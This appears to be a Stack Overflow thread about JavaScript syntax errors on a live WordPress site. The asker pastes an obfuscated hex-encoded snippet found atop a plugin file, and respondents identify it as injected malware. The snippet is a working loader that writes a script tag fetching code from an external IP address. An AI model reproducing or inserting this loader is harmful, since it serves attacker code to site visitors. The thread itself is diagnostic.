SyntaxError: missing ; before statement error in wordpress

Question

All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.

I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.

Also added below line thinking the string concatnation might have caused it.

//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);

I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.

EDIT:

I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.

Is this some kind of prefix by wordpress or unwanted string from elsewhere?

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {

    var meta_image_frame;
    var meta_mobileimage_frame;

        // Runs when the image button is clicked.
        jQuery('#banner_manager_image_button').click(function(e){

        ....plugins js code-----
        });


});

Check if your files have moved to server correctly. Maybe you have some additional chars somewhere? Like \r\n replaced to \r and than all comments become ruined — Justinas
– Justinas, Commented Jun 22, 2017 at 13:13
You may want to look at your javascript files to see where the issue may be. If there's a line number from the error, even better. — aynber
– aynber, Commented Jun 22, 2017 at 13:15
@aynber, I just checked one of the js files from console. I added my findings i my post above. see if you could advise — 112233
– 112233, Commented Jun 22, 2017 at 13:18
@Justinas, refering to my edited post, where could this additional chars come from? — 112233
– 112233, Commented Jun 22, 2017 at 13:19
Your site is infected. I can't even view this post on my computer because my antivirus freaks out. You'll need to clean up your WordPress site. — aynber
– aynber, Commented Jun 22, 2017 at 13:22

Justinas · Accepted Answer · 2017-06-22 13:55:31Z

1

Your _0xaae8 is missing ; before jQuery(document).ready(.

This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.

answered Jun 22, 2017 at 13:55

Justinas

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3 Comments

112233 Over a year ago

I don't know where the additional string injected thus I'm not able to remove it. Also I did try deactivating all plugins to see if the issue resolved. But it persiste.

112233 Over a year ago

I suspect print_head_scripts function in script-loader contains the error...checking

Justinas Over a year ago

@112233 Disabling plugins may not help, because files are already injected.

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